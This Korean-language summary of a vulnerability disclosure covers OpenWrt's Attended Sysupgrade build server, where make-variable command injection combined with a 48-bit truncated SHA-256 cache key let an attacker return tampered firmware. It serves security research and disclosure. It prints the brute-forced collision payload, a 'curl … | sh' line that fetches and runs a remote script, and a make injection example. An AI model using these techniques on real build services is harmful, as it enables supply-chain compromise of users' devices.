- OpenWrt의 웹 업그레이드 기능 Attended Sysupgrade는 온라인 빌드 서버에서 펌웨어를 생성하는 구조였고, 명령 주입과 잘린 SHA-256 충돌이 결합되면 정상 요청에 잘못된 빌드 산출물이 반환될 수 있었음
- 요청의
packages값이make manifest의PACKAGES=변수로 전달되면서,make의 변수 확장 특성 때문에 공격자가 이미지빌더 컨테이너 내부에서 임의 명령을 실행할 수 있었음 - 패키지 목록 해시는 SHA-256 전체가 아니라 앞 12자, 즉 48비트만 캐시 키에 반영돼 서로 다른 패키지 목록이 같은 요청 해시를 만들 수 있었음
- 연구자는 수정한 Hashcat과 RTX 4090으로 초당 약 180억 해시 속도를 얻었고, 충돌된 명령 주입 페이로드로 이미지빌더의
.bin산출물을 덮어쓰는 검증에 성공함 - OpenWrt 팀은 비공개 취약점 신고 뒤
sysupgrade.openwrt.org를 일시 중단하고 3시간 이내 수정 버전을 배포했지만, 기존 악용 여부는 확인할 수 없었음
Attended Sysupgrade의 온라인 펌웨어 빌드 구조
- OpenWrt의 LuCI 웹 인터페이스에는
Attended Sysupgrade가 있으며, 이 기능은 온라인 서비스를 이용해 새 펌웨어를 빌드함 - 빌드 서비스는
sysupgrade.openwrt.org에서 동작하고, 사용자가 대상 장치와 원하는 패키지를 선택하면 새 펌웨어 이미지를 생성함 - 업그레이드 요청 때 사용자 측 OpenWrt는 서버에 다음 정보를 보냄
- 대상 아키텍처
- 장치 프로필
- 선택한 패키지
- 서버는 이 정보를 바탕으로 펌웨어 이미지를 빌드해 OpenWrt 장치로 돌려주고, 장치는 받은 이미지를 플래시함
- 사용자 제공 패키지로 이미지를 빌드하는 서버가 충분히 격리되지 않으면, 빌드 결과가 곧바로 장치에 적용되는 공급망 공격면이 됨
PACKAGES 값을 통한 명령 주입
sysupgrade.openwrt.org서버는 오픈소스 프로젝트이며, 소스 코드는 openwrt/asu에 있음- 빌드 환경은
podman.containers.create로 만든 컨테이너에서 실행되고,cap_drop=["all"],no_new_privileges=True,privileged=False같은 설정을 사용함 - 취약점은
make manifest호출부에서 발생함PROFILE={build_request.profile}PACKAGES={' '.join(build_cmd_packages)}STRIP_ABI=1
- OpenWrt 이미지빌더의
manifest타깃은PACKAGES값을USER_PACKAGES="$(PACKAGES)"형태로 다시 전달함 make는 명령 실행 전에 변수를 확장하므로, 작은따옴표로 감싸도 사용자 제어 값이 안전하게 처리되지 않음- 예시 Makefile에서
make var="'; whoami #"를 실행하면echo '$(var)'안에서도whoami가 실행됨
- 예시 Makefile에서
- 요청의
packages파라미터가PACKAGES변수에 들어가기 때문에, 공격자는 패키지명처럼 보이는 값에 명령을 넣어 이미지빌더 컨테이너 내부에서 임의 명령을 실행할 수 있었음 - 컨테이너가 호스트와 격리돼 있어도, 생성된 바이너리가 이후 단계에서 개인 키로 서명되므로 이 명령 주입은 공급망 취약점으로 이어짐
12자로 잘린 SHA-256 캐시 키
get_request_hash는 빌드 요청의 여러 필드를 이어 붙여 요청 해시를 만들고, 이 해시는 빌드 캐시 키로 사용됨- 패키지 목록은 직접 문자열로 들어가지 않고
get_packages_hash(build_request.packages)결과가 외부 요청 해시에 포함됨 get_packages_hash는 중복 패키지를 제거하고 정렬한 뒤 공백으로 이어 붙인 문자열의 SHA-256을 계산하지만, 결과를 앞 12자로 잘라 반환함- SHA-256 12자 접두사는 48비트이며, 가능한 공간은
2^48 = 281,474,976,710,656개임 - 외부 요청 해시가 이 잘린 패키지 해시를 포함하므로, 패키지 해시 충돌을 만들면 서로 다른 패키지 목록도 같은 캐시 키를 공유함
- 그 결과 서버가 다른 패키지 요청에 대해 잘못된 빌드 산출물을 반환할 수 있었음
Hashcat으로 충돌 페이로드 찾기
- 부분 일치 SHA-256 무차별 대입 도구를 찾지 못해 OpenCL 프로그램을 직접 만들었지만, 1억 해시 계산에 10초가 걸려 CPU 해시 속도와 비슷했음
- 이후 Hashcat을 수정해 8자만 맞아도 해시를 출력하도록 만들고, 작은 스크립트로 12자 충돌 여부를 확인함
- 정상 패키지 목록은
firmware-selector.openwrt.org에서 가져왔고, 해당 목록의 SHA-256은8f7018b33d9472113274fa6516c237e32f67685fc1fc3cbdbf144647d0b3feeb였음- 앞 12자는
8f7018b33d94 - 공격 페이로드도 같은 12자 접두사를 가져야 했음
- 앞 12자는
- 처음에는
`curl -L tmp.ryotak.net/?l?l?l?l?l?l?l?l?l?l|sh`형태의 마스크를 RTX 4090에서 실행했고, 약 초당 5억 해시 속도가 나왔음 ?l은a-z를 생성하므로 10글자 공간은26^10 = 141,167,095,653,376개이며, 이는2^48의 약 절반임- 마스크를 11글자로 늘리고 마스크 위치를 명령 앞쪽으로 옮기자 속도가 크게 증가함
- 최종 패턴은
`?l?l?l?l?l?l?l?l?l?l?l||curl -L tmp.ryotak.net/8f7018b33d94|sh` - 이 패턴에서 Hashcat은 약 초당 180억 해시로 계산함
- 최종 패턴은
- 1시간 안에 다음 12자 충돌이 발견됨
`slosuocutre||curl -L tmp.ryotak.net/8f7018b33d94|sh`- 이 문자열의 SHA-256은
8f7018b33d9464976ab199f100812d2d24d5e84a76555c659e88e0b6989a4bd8로, 앞 12자가 정상 패키지 목록과 같음
두 취약점 결합으로 잘못된 펌웨어 반환
- 충돌 페이로드를
packages파라미터로 보내면 명령 주입이 발생하고,tmp.ryotak.net에서 스크립트가 실행됨 - 검증용 스크립트는
/builder/scripts/json_overview_image_info.py에 코드를 덧붙여 이미지빌더가 만든 산출물을 덮어씀BIN_DIR의 파일 목록을 읽음- 이름이
.bin으로 끝나는 파일을 찾아 내용에"test"를 씀
- 해시 충돌 때문에 서버는 정상 패키지 목록을 요청한 사용자에게 덮어쓴 빌드 산출물을 반환함
- 이 방식이 악용되면 사용자가 악성 펌웨어로 업그레이드하게 되고, 장치 침해로 이어질 수 있음
신고와 수정
- 취약점은 GitHub의 비공개 취약점 신고를 통해 OpenWrt 팀에 전달됨
- OpenWrt 팀은 문제를 확인한 뒤
sysupgrade.openwrt.org서비스를 일시 중단하고 조사에 들어감 - 수정 버전은 3시간 이내 배포됐고, 서비스도 다시 시작됨
- 두 문제는 수정됐지만, 취약점이 한동안 존재했기 때문에 다른 사람이 이미 악용했는지는 알 수 없었음
- OpenWrt 팀은 사용자가 장치 침해 여부를 확인하고 탐지할 수 있도록 공지를 배포함
결론
sysupgrade.openwrt.org는 명령 주입과 잘린 SHA-256 충돌을 결합해 침해될 수 있었음- 실제 애플리케이션에서 해시 충돌 공격을 무차별 대입으로 성공시켜 공급망 공격 경로를 만든 사례임
- OpenWrt 팀은 짧은 시간 안에 문제를 수정하고 사용자에게 알렸지만, 온라인 빌드 서비스는 캐시 키와 입력 검증을 매우 보수적으로 다뤄야 함